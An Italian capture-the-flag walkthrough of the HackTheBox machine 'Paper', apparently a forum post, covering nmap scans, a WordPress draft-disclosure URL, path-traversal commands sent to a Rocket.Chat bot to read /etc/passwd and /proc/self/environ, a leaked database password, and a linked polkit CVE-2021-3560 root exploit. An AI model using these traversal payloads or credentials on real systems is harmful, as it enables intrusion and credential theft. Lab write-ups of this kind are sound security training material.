Ecco il walkthrough della macchina paper su HackTheBox
ip = 10.10.11.143
E poi facciamo uno scan di tutte le porte tcp.
Andiamo a vedere il web server ed è una pagina di default.
Andiamo a vedere gli header del sito, per questa operazione possiamo usare semplicemente curl
Con curl ho trovato un header che dice office.paper provo ad aggiungerlo ad un mio file host.
su office.paper c'è un sito wordpress e possiamo runnare wpscan su di esso.
in un commento c'è nick che dice a Micheal di rimuovere un contentuto segreto dai post
PoC: http://office.paper/?static=[Numero_Post]
leggendo il 3 post non pubblico
Secret url: http://chat.office.paper/register/8qozr226AhkCHZdyY
Io ho registrato un utente con la password test e come username test e mi sono loggato.
Ho notato che nel canale #general c'è un bot che nella funzione help può leggere file.
Ho usato la funzione file per leggere /etc/passwd
Ecco il file passwd
Guardando online ho visto che rocketchat salva la password del database in una variabile di ambiente.
Quindi possiamo usare
Guardando le variabili d'ambiente ho scoperto la variable rocketchat_password
Ho provato ad autenticarmi e ha funzionato.
Ora sono dwight e ho la user flag
exploit: https://github.com/Almorabea/Polkit-exploit
Usiamo lo script in python e abbiamo la root.
ip = 10.10.11.143
Enumeration
Iniziamo con uno scan delle prime 1000 porte tcp.
Bash:
Starting Nmap 7.80 ( https://nmap.org ) at 2022-05-28 18:58 CEST
Nmap scan report for paper (10.10.11.143)
Host is up (0.049s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
| 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after: 2022-07-08T10:32:34
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.63 seconds
E poi facciamo uno scan di tutte le porte tcp.
Codice:
Nmap scan report for paper (10.10.11.143)
Host is up (0.051s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
59555/tcp filtered unknown
Andiamo a vedere il web server ed è una pagina di default.
Andiamo a vedere gli header del sito, per questa operazione possiamo usare semplicemente curl
Bash:
curl -vvv http://10.10.11.143
su office.paper c'è un sito wordpress e possiamo runnare wpscan su di esso.
in un commento c'è nick che dice a Micheal di rimuovere un contentuto segreto dai post
Codice:
Michael, you should remove the secret content from your drafts ASAP, as they are not that secure as you think!
-Nick
Exploitation
Ho googleato e ho trovato che la versione 5.2.3 su wordpress permette di leggere le bozze e i post non visibli.PoC: http://office.paper/?static=[Numero_Post]
leggendo il 3 post non pubblico
http://office.paper/?static=3
ho scoperto un link segreto per chat.office.paper che penso sia un link per un qualche tipo di chatSecret url: http://chat.office.paper/register/8qozr226AhkCHZdyY
Io ho registrato un utente con la password test e come username test e mi sono loggato.
Ho notato che nel canale #general c'è un bot che nella funzione help può leggere file.
Ho usato la funzione file per leggere /etc/passwd
Codice:
recyclops file ../../../../../../../../../etc/passwd
Codice:
root0:0:root:/root:/bin/bash
bin1:1:bin:/bin:/sbin/nologin
daemon2:2:daemon:/sbin:/sbin/nologin
adm3:4:adm:/var/adm:/sbin/nologin
lp4:7:lp:/var/spool/lpd:/sbin/nologin
sync5:0:sync:/sbin:/bin/sync
shutdown6:0:shutdown:/sbin:/sbin/shutdown
halt7:0:halt:/sbin:/sbin/halt
mail8:12:mail:/var/spool/mail:/sbin/nologin
operator11:0perator:/root:/sbin/nologin
games12games:/usr/games:/sbin/nologin
ftp14:50:FTP User:/var/ftp:/sbin/nologin
nobody65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus81:81:System message bus:/:/sbin/nologin
systemd-coredump999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve193:193:systemd Resolver:/:/sbin/nologin
tss59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
polkitd998:996:User for polkitd:/:/sbin/nologin
geoclue997:994:User for geoclue:/var/lib/geoclue:/sbin/nologin
rtkit172:172:RealtimeKit:/proc:/sbin/nologin
qemu107:107:qemu user:/:/sbin/nologin
apache48:48:Apache:/usr/share/httpd:/sbin/nologin
cockpit-ws996:993:User for cockpit-ws:/:/sbin/nologin
pulse171:171ulseAudio System Daemon:/var/run/pulse:/sbin/nologin
usbmuxd113:113:usbmuxd user:/:/sbin/nologin
unbound995:990:Unbound DNS resolver:/etc/unbound:/sbin/nologin
rpc32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
gluster994:989:GlusterFS daemons:/run/gluster:/sbin/nologin
chrony993:987::/var/lib/chrony:/sbin/nologin
libstoragemgmt992:986:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
saslauth991:76:Saslauthd user:/run/saslauthd:/sbin/nologin
dnsmasq985:985nsmasq DHCP and DNS server:/var/lib/dnsmasq/sbin/nologin
radvd75:75:radvd user:/:/sbin/nologin
clevis984:983:Clevis Decryption Framework unprivileged user:/var/cache/clevis:/sbin/nologin
pegasus66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
sssd983:981:User for sssd:/:/sbin/nologin
colord982:980:User for colord:/var/lib/colord:/sbin/nologin
rpcuser29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
setroubleshoot981:979::/var/lib/setroubleshoot:/sbin/nologin
pipewire980:978ipeWire System Daemon:/var/run/pipewire:/sbin/nologin
gdm42:42::/var/lib/gdm:/sbin/nologin
gnome-initial-setup979:977::/run/gnome-initial-setup/:/sbin/nologin
insights978:976:Red Hat Insights:/var/lib/insights:/sbin/nologin
sshd74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologin
avahi70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
tcpdump72:72::/:/sbin/nologin
mysql27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
nginx977:975:Nginx web server:/var/lib/nginx:/sbin/nologin
mongod976:974:mongod:/var/lib/mongo:/bin/false
rocketchat1001:1001::/home/rocketchat:/bin/bash
dwight1004:1004::/home/dwight:/bin/bash
Guardando online ho visto che rocketchat salva la password del database in una variabile di ambiente.
Quindi possiamo usare
recyclops file ../../../../../../../../../proc/self/environ
per vedere il contenuto del file environ in cui sono salvate tutte le variabili d'ambiente.Guardando le variabili d'ambiente ho scoperto la variable rocketchat_password
ROCKETCHAT_PASSWORD= Queenofblad3s!23
Ho provato ad autenticarmi e ha funzionato.
Ora sono dwight e ho la user flag
PrivEsc
ho usato linpeas e ho trovato una vulnerabilita di polkit CVE 2021 3560 e ho usato questo exploitexploit: https://github.com/Almorabea/Polkit-exploit
Usiamo lo script in python e abbiamo la root.